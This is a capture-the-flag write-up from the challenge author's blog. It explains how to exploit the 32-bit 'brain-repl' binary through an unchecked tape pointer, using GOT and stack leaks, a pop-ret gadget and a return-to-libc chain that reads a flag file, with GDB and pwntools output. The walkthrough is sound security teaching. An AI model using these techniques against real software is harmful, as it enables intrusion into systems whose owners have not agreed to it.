Travis Finkenauer's Blog

CTF Writeup: Brain Repl

This is a writeup/walkthrough for a binary exploitation challenge I wrote for a CTF competition at the University of Michigan that was hosted by Facebook.

This article assumes that you are familiar with GDB and basic binary exploitation techniques such as return to libc attacks.

You can download the problem and solution from GitHub.

Note: When this blog was originally written, pwntools was the preferred fork of pwntools, but has since been merged into upstream pwntools. The steps should be modified to use pwntools instead of pwntools.

Setup🔗

Analysis🔗

The repo contains the following files:

  • brain-repl-ctf-problem/: folder with distributed challenge
    • brain-repl: binary to exploit
    • brain-repl.c: source code for binary
    • Makefile: Makefile that was used to build brain-repl
    • run_brain_repl.sh: script to run brain-repl as a server process
    • flag.txt: sample flag that we want to read
  • debug_brain_repl.sh: script to run binary as server process w/ or w/o GDB
  • gdb_cmds.gdb: GDB commands that are run by debug_brain_repl.sh at startup
  • solve_brain_repl.py: my solution script

The brain-repl binary is meant to be run with socat so that it listens on port 2600. We can see from the Makefile that brain-repl is compiled with the security flags -fstack-protector -fPIE -fPIC -pie -Wl,-pie, which enables stack canaries and position-independent execution (thus enabling ASLR). We do not want to accidentally overwrite the binary, so we should either rename or delete the Makefile:

$ mv Makefile _Makefile

We can now get to analyzing the binary. The first thing I do when I get a binary is run file and ldd:

$ file brain-repl
brain-repl: ELF 32-bit LSB  shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=94d00b325686bbd4d5ba727a01776e3a6e874aba, not stripped

$ ldd brain-repl
	linux-gate.so.1 =>  (0xf7722000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf753e000)
	/lib/ld-linux.so.2 (0xf7723000)

We can see that the binary is a 32-bit x86 Linux binary which is dynamically linked and not stripped. Because we are "pretending" as if we are accessing the binary remotely, we are assuming we do not have access to the libc.so library that is being used on the hosting server. To get more information on the binary, we can run readelf to get information on the relocation sections:

$ readelf -r brain-repl

Relocation section '.rel.dyn' at offset 0x444 contains 9 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
00001ef4  00000008 R_386_RELATIVE
00001ef8  00000008 R_386_RELATIVE
00001ff4  00000008 R_386_RELATIVE
00002030  00000008 R_386_RELATIVE
00001fe8  00000206 R_386_GLOB_DAT    00000000   _ITM_deregisterTMClone
00001fec  00000306 R_386_GLOB_DAT    00000000   __cxa_finalize
00001ff0  00000406 R_386_GLOB_DAT    00000000   __gmon_start__
00001ff8  00000906 R_386_GLOB_DAT    00000000   _Jv_RegisterClasses
00001ffc  00000b06 R_386_GLOB_DAT    00000000   _ITM_registerTMCloneTa

Relocation section '.rel.plt' at offset 0x48c contains 8 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0000200c  00000107 R_386_JUMP_SLOT   00000000   read
00002010  00000307 R_386_JUMP_SLOT   00000000   __cxa_finalize
00002014  00000407 R_386_JUMP_SLOT   00000000   __gmon_start__
00002018  00000507 R_386_JUMP_SLOT   00000000   exit
0000201c  00000607 R_386_JUMP_SLOT   00000000   open
00002020  00000707 R_386_JUMP_SLOT   00000000   __libc_start_main
00002024  00000807 R_386_JUMP_SLOT   00000000   write
00002028  00000a07 R_386_JUMP_SLOT   00000000   __dprintf_chk

We can see that the program calls read, open, and write, among other functions.

Source code🔗

The file brain-repl.c has the source of the challenge. At the top of the program, we can see that there are global variables tape, tape_ptr, and cmd. The program opens /dev/urandom to write random bytes into the tape buffer, which is 100 bytes wide. The main() function calls run_interpreter(), which reads in commands in an infinite loop. The commands are handled in handle_cmd(). The following commands are available:

  • >/<: increment/decrement tape_ptr
  • W: write 4 bytes to tape_ptr
  • R: read 4 bytes from tape_ptr

Running the binary🔗

Now it's time to run the binary as a socket server. Let's use the debug_brain_repl.sh that you already downloaded. In one terminal, run the brain-repl binary:

$ ./debug_brain_repl.sh r brain-repl-ctf-problem/brain-repl

In another terminal, connect to the server process with netcat:

$ nc localhost 2600
Welcome to the interpeter
> R
ee277b74
> W
AAAA
> Q
41414141
>

Invalid command!
bye

We read in 4 random bytes, wrote for A's into the buffer, and read back the result. Notice that the W command takes in the actual bytes, not the hex representation. We see four instances of 41 because the hexadecimal representation of an ASCII 'A' is 0x41.

Running the binary in GDB🔗

To get useful run-time information, we can run the program in GDB. We could just run gdb ./brain-repl, but then the binary would want to talk over stdin/stdout. I prefer to debug the binary as it communicates over a socket to make it easier to test our exploit script (which will be communicating over sockets). Also, it's convenient to have a separate terminal with netcat that communicates with the binary.

The debug_brain_repl.sh script makes it easy to debug brain-repl in GDB after it is spawned by socat. The gdb_cmds.gdb file has commands that are initially run by GDB. We are running the socat binary under GDB, which forks a child process which in turn calls an exec function to replace its process context with brain-repl. The exec catchpoint causes GDB to pause the child brain-repl process. Once we hit the catchpoint in the brain-repl child process, we can set our breakpoints (such as main) and continue executing.

set disable-randomization off
catch exec
r

# Hit exec catchpoint
# Set breakpoints
hbreak main

# Continue executing (until we hit a breakpoint)
c

In one terminal, run GDB with:

$ ./debug_brain_repl.sh d brain-repl-ctf-problem/brain-repl

GDB will be waiting for brain-repl to spawn (which happens after a connection is made).

In another terminal, connect to the debugged server process with:

$ nc localhost 2600

In your GDB terminal, you should see that a breakpoint in main is hit. From here, you can examine memory, registers, etc. easily.

Finding the vulnerability🔗

We can see that there is no bounds checking when modifying tape_ptr and we can read/write arbitrary bytes to the tape pointer. This should allow us to do the simple attack where we overwrite the return address on the stack! However, there is a problem with this simple approach. The variables tape and tape_ptr are global variables, so instead of residing on the stack, they reside in a data section. Also, ASLR is enabled, so we cannot assume we know the address of stack variables. At this stage, we know we control tape and tape_ptr.

Leaking GOT entries🔗

ASLR is enabled, so we do not know the absolute position of memory segments. But, we do know relative offsets within segments. Let's print out tape and tape_ptr after tape is filled with random bytes. We can find the address of the call run_interpreter instruction by running pdisas to get a colored disassembly of the current function.

gdb-peda$ pdisas
Dump of assembler code for function main:
   0x56555580 <+0>:	lea    ecx,[esp+0x4]
   0x56555584 <+4>:	and    esp,0xfffffff0
   0x56555587 <+7>:	push   DWORD PTR [ecx-0x4]
   0x5655558a <+10>:	push   ebp
   0x5655558b <+11>:	mov    ebp,esp
   0x5655558d <+13>:	push   esi
   0x5655558e <+14>:	push   ebx
=> 0x5655558f <+15>:	call   0x56555640 <__x86.get_pc_thunk.bx>
   0x56555594 <+20>:	add    ebx,0x1a6c
   0x5655559a <+26>:	push   ecx
   0x5655559b <+27>:	sub    esp,0x14
   0x5655559e <+30>:	push   0x0
   0x565555a0 <+32>:	lea    eax,[ebx-0x1599]
   0x565555a6 <+38>:	push   eax
   0x565555a7 <+39>:	call   0x56555540 <open@plt>
   0x565555ac <+44>:	add    esp,0x10
   0x565555af <+47>:	cmp    eax,0xffffffff
   0x565555b2 <+50>:	jne    0x565555cf <main+79>
   0x565555b4 <+52>:	push   ecx
   0x565555b5 <+53>:	push   0x25
   0x565555b7 <+55>:	lea    eax,[ebx-0x158c]
   0x565555bd <+61>:	push   eax
   0x565555be <+62>:	push   0x1
   0x565555c0 <+64>:	call   0x56555560 <write@plt>
   0x565555c5 <+69>:	add    esp,0x10
   0x565555c8 <+72>:	mov    eax,0x1
   0x565555cd <+77>:	jmp    0x565555f6 <main+118>
   0x565555cf <+79>:	lea    esi,[ebx+0x40]
   0x565555d5 <+85>:	push   edx
   0x565555d6 <+86>:	push   0x64
   0x565555d8 <+88>:	push   esi
   0x565555d9 <+89>:	push   eax
   0x565555da <+90>:	call   0x56555500 <read@plt>
   0x565555df <+95>:	add    esp,0x10
   0x565555e2 <+98>:	cmp    eax,0x64
   0x565555e5 <+101>:	jne    0x565555b4 <main+52>
   0x565555e7 <+103>:	lea    eax,[ebx+0x38]
   0x565555ed <+109>:	mov    DWORD PTR [eax],esi
   0x565555ef <+111>:	call   0x565558a9 <run_interpreter>
   0x565555f4 <+116>:	xor    eax,eax
   0x565555f6 <+118>:	lea    esp,[ebp-0xc]
   0x565555f9 <+121>:	pop    ecx
   0x565555fa <+122>:	pop    ebx
   0x565555fb <+123>:	pop    esi
   0x565555fc <+124>:	pop    ebp
   0x565555fd <+125>:	lea    esp,[ecx-0x4]
   0x56555600 <+128>:	ret    
End of assembler dump.

Now we can add a breakpoint in gdb_cmds.gdb right before the call to run_interpreter(). I prefer hbreak over break to set hardware breakpoints because they do not touch the memory. When a soft breakpoint is set, the memory is overwritten with an int3 instruction, which can cause problems. To set a breakpoint on an address, we need to add a * before the address. To set a breakpoint relative to a symbol, we can use *(my_symbol_name + 10):

...
hbreak main
hbreak *(main + 111)
...

Now when we re-run the debug script and hit our second breakpoint, we can print the contents of tape_ptr and tape. Observe that we must use a & so that GDB treats the variables as pointers:

gdb-peda$ x/wx &tape_ptr
0x56557038 <tape_ptr>:	0x56557040

gdb-peda$ x/20wx &tape
0x56557040 <tape>:	0x8c7915fb	0x7dabf20b	0xfcc0d280	0x0dddb271
0x56557050 <tape+16>:	0xbe393117	0xb02f5f74	0x3f01c9d1	0xda5e0096
0x56557060 <tape+32>:	0x6d0b049d	0x1ef4f1f0	0xb0a3a7db	0x8d827a16
0x56557070 <tape+48>:	0x0e4ec52a	0x123e99bb	0xfcaf9b75	0x0e796f9f
0x56557080 <tape+64>:	0x38443f8a	0xc9d16514	0x9b57df5a	0x5e9d9d0a

We can access memory that is close to tape. Because our binary is dynamically linked, we know it has a global offset table (GOT). We can find the relative offset to GOT entries. Let's use pwntools to determine the offset between GOT entries and tape:

>>> from pwn import *
>>> e = ELF('brain-repl')
[*] 'brain-repl-ctf-problem/brain-repl'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
>>> e.got['open'] - e.sym['tape']
-36

We can check this with GDB. We cast the tape address to void * to avoid it being treated as an int * (because of C pointer arithmetic):

gdb-peda$ x/wx ((void *) &tape) - 36
0x5655701c <open@got.plt>:	0xf7ed5740

We could overwrite the GOT entries, but then we would only get a single function call. Overwriting the GOT entries alone is not enough to get an attack such as ROP off the ground. To get ROP working, we need to control the stack (or at least a buffer where we get esp to point). Also, we are pretending we do not have access to the libc.so file being used, so we do not know the relative positions of symbols in libc (which would be needed to calculate the absolute address of symbols). Even if we knew the absolute address of functions such as execve() or system(), we do not yet control the stack (which we need to set the correct arguments to these functions).

Controlling the Stack🔗

At this point, we find that controlling the stack would be useful. But how? If only we could leak the address of a stack variable...

// ...
char *cmd;
// ...

void run_interpreter() {
    uint8_t c;
    p_str("Welcome to the interpeter\n");
    while (1) {
        // ...

        // LOOK HERE
        cmd = &c;

        // ...
    }
    p_str("bye!\n");
}

We can see that the address of a stack variable is leaked in a global variable! Let's verify this happens in GDB. We can determine the best place by dynamically stepping through with the ni/si instructions or by statically looking at the output of pdisas run_interpreter. I am choosing to place the breakpoing at run_interpreter+107 (right after the write to cmd). Add the following command to the GDB command file:

hbreak *(run_interpreter + 107)

Now, we can verify that cmd does leak a stack address using the x and vmmap commands:

gdb-peda$ x/wx &cmd
0x5655703c <cmd>:	0xffffd37f

gdb-peda$ vmmap
Start      End        Perm	Name
0x56555000 0x56556000 r-xp	/brain-repl-ctf-problem/brain-repl
0x56556000 0x56557000 r--p	/brain-repl-ctf-problem/brain-repl
0x56557000 0x56558000 rw-p	/brain-repl-ctf-problem/brain-repl
0xf7dfa000 0xf7dfb000 rw-p	mapped
0xf7dfb000 0xf7fa3000 r-xp	/lib/i386-linux-gnu/libc-2.19.so
0xf7fa3000 0xf7fa5000 r--p	/lib/i386-linux-gnu/libc-2.19.so
0xf7fa5000 0xf7fa6000 rw-p	/lib/i386-linux-gnu/libc-2.19.so
0xf7fa6000 0xf7fa9000 rw-p	mapped
0xf7fd9000 0xf7fdb000 rw-p	mapped
0xf7fdb000 0xf7fdc000 r-xp	[vdso]
0xf7fdc000 0xf7ffc000 r-xp	/lib/i386-linux-gnu/ld-2.19.so
0xf7ffc000 0xf7ffd000 r--p	/lib/i386-linux-gnu/ld-2.19.so
0xf7ffd000 0xf7ffe000 rw-p	/lib/i386-linux-gnu/ld-2.19.so
0xfffdd000 0xffffe000 rw-p	[stack]

Now we know the location of a stack variable. At this point, we could be clever and overwrite the value of tape_ptr to "jump" the tape pointer to the stack! Before we do this, we should figure out where we want to write. To perform a return-to-libc or ROP attack, we want to write our payload starting at a return address. So, we need to figure the offset from run_interpreter()'s c local variable and its return address.

We know that run_interpreter() is called from main(), so the return address should point to code inside main(). We can calculate the offset a few different ways. One way is to look at the disassembly of run_interpreter():

gdb-peda$ pdisas run_interpreter
Dump of assembler code for function run_interpreter:
   ...
   0x565558e3 <+58>:	push   0x1
   0x565558e5 <+60>:	lea    esi,[ebp-0x9]
   0x565558e8 <+63>:	push   esi
   0x565558e9 <+64>:	push   0x0
   0x565558eb <+66>:	call   0x56555500 <read@plt>
   ...
End of assembler dump.

We can see this snippet corresponds to a call to read(0, ebp-0x9, 1) because arguments are pushed on the stack in reverse order. The return address is usually at ebp+4, so using a little arithmetic we find the offset is (ebp+4) - (ebp-9) == 13. Let's double check our work with the backtrace (shortened to bt) command:

gdb-peda$ bt
#0  0x56555914 in run_interpreter ()
#1  0x565555f4 in main ()
#2  0xf7e14a83 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#3  0x56555632 in _start ()

gdb-peda$ x/wx cmd + 13
0xffffd30c:	0x565555f4

Creating our payload🔗

Now we know where to jump to write our payload. What payload should we write? We cannot easily spawn a shell with one function call, but we can make multple function calls using the "esp lifting" method described by Nergal. Instead of spawning a shell (which would require finding other libc functions), we can call open(), read(), and write() to open the flag file, read the flag contents into a buffer, and write it to stdout:

fd = open("flag.txt", 0, 0)
read(fd, buf, 50)
write(1, buf, 50)

To finish the exploit we still need to:

  1. Figure out where to write "flag.txt" string
  2. Figure out how to use the returned file descriptor from open()
  3. Find a pop-ret gadget to increase esp between function calls
  4. Finally launch our exploit

Storing "flag.txt"🔗

We can simply use tape to store our string "flag.txt". Don't forget to include a NUL terminator character at the end. We can compute the address of tape by reading tape_ptr. We can now add the relative offset between tape and tape_ptr to the leaked address of tape_ptr to get the absolute address of tape. This equation is actually quite useful in general for determining absolute addresses:

b.absolute_address = a.absolute_address + a_to_b.relative_offset

When we write our exploit script, we can just use the 'symbols' field of the ELF pwntools class to compute the offset.

Using returned file descriptor🔗

The Linux man page for open() explains that open() must return the "lowest-numbered file descriptor not currently open for the process". Because we know that stdin (0), stdout (1), stderr (3), and /dev/urandom (4) are the only open files, we know that open() will return 5 as the next file descriptor. Now our payload simplifies to:

open("flag.txt", 0, 0)
read(5, buf, 50)
write(1, buf, 50)

Finding a pop-ret gadget🔗

We can use PEDA to easily find pop-ret gadgets with the ropgadget command.

gdb-peda$ ropgadget
ret = 0x565554d6
popret = 0x565554ed
pop2ret = 0x56555678
pop3ret = 0x565558a5
pop4ret = 0x565558a4
leaveret = 0x565557cf
addesp_12 = 0x565554ea
addesp_16 = 0x565557c6
addesp_20 = 0x56555761
addesp_28 = 0x56555675
addesp_44 = 0x565559a9

We want to smallest pop-ret that will accommodate all of the arguments we want to pass. I chose the pop4ret gadget.

gdb-peda$ pdisas 0x565558a4 /5
   0x565558a4 <handle_cmd+211>:	pop    ebx
   0x565558a5 <handle_cmd+212>:	pop    esi
   0x565558a6 <handle_cmd+213>:	pop    edi
   0x565558a7 <handle_cmd+214>:	pop    ebp
   0x565558a8 <handle_cmd+215>:	ret

Now, to determine the absolute address of the pop4ret gadget, we need to figure out the relative offset of the pop4ret and some absolute code address. Our gadget is in the code segment corresponding to brain-repl:

gdb-peda$ vmmap
Start      End        Perm	Name
0x56555000 0x56556000 r-xp	/brain-repl-ctf-problem/brain-repl
0x56556000 0x56557000 r--p	/brain-repl-ctf-problem/brain-repl
0x56557000 0x56558000 rw-p	/brain-repl-ctf-problem/brain-repl
0xf7dfa000 0xf7dfb000 rw-p	mapped
0xf7dfb000 0xf7fa3000 r-xp	/lib/i386-linux-gnu/libc-2.19.so
0xf7fa3000 0xf7fa5000 r--p	/lib/i386-linux-gnu/libc-2.19.so
0xf7fa5000 0xf7fa6000 rw-p	/lib/i386-linux-gnu/libc-2.19.so
0xf7fa6000 0xf7fa9000 rw-p	mapped
0xf7fd9000 0xf7fdb000 rw-p	mapped
0xf7fdb000 0xf7fdc000 r-xp	[vdso]
0xf7fdc000 0xf7ffc000 r-xp	/lib/i386-linux-gnu/ld-2.19.so
0xf7ffc000 0xf7ffd000 r--p	/lib/i386-linux-gnu/ld-2.19.so
0xf7ffd000 0xf7ffe000 rw-p	/lib/i386-linux-gnu/ld-2.19.so
0xfffdd000 0xffffe000 rw-p	[stack]

We need an absolute address in the same code segment, so our leaked GOT entries will not work. Instead, we can read the return address from run_interpreter()'s stack frame, which will correspond to an address inside main.

gdb-peda$ bt
#0  0x56555914 in run_interpreter ()
#1  0x565555f4 in main ()
#2  0xf7e14a83 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#3  0x56555632 in _start ()

gdb-peda$ p/d 0x565558a4 - 0x565555f4
$6 = 688

We know that the pop4ret gadget is at return_address + 688.

Finally launch our exploit🔗

To finally launch our exploit, we need to cause run_interpreter() to return. We can accomplish this causing handle_newline or handle_cmd to fail.

void run_interpreter() {
    // ...
    while (1) {
        // ...
        if (handle_newline() < 0) {
            return;
        }
        if (handle_cmd() != 0) {
            break;
        }
    }
    p_str("bye!\n");
}

int handle_cmd() {
    int i;
    switch (*cmd) {
        // ...
        default:
            p_str("Invalid command!\n");
            return -1;
    }
    return 0;
}

Writing the exploit script🔗

I like to use the pwntools library when writing exploit scripts, especially the tubes module (to communicate via sockets) and the ELF module (to easily read symbol/GOT information from ELF binaries).

You can view solve_brain_repl.py on GitHub.

Recap🔗

  1. We can increment/decrement tape_ptr and read/write a word where tape_ptr points. Because there is no bounds checking, we can read/write the GOT entries and global variables.
  2. Leak GOT entries for open(), read(), and write() and the global variables tape_ptr and cmd.
  3. Compute the address of run_interpreter()'s return address using the leaked cmd.
  4. Write "flag.txt\x00" to tape.
  5. Overwrite tape_ptr with the computed address of the return address to cause tape_ptr to "jump" to the stack.
  6. Leak the original value of the return address.
  7. Compute the absolute address of the pop4ret gadget using the leaked return address.
  8. Write out the return to libc function chaining payload of open(), read(), and write() using the pop4ret gadget.
  9. Send an unexpected command to cause run_interpreter() to return, launching our payload.

Conclusion🔗

The method I described is certainly not the only way to solve this problem. If you have any questions or comments, please contact me.

References🔗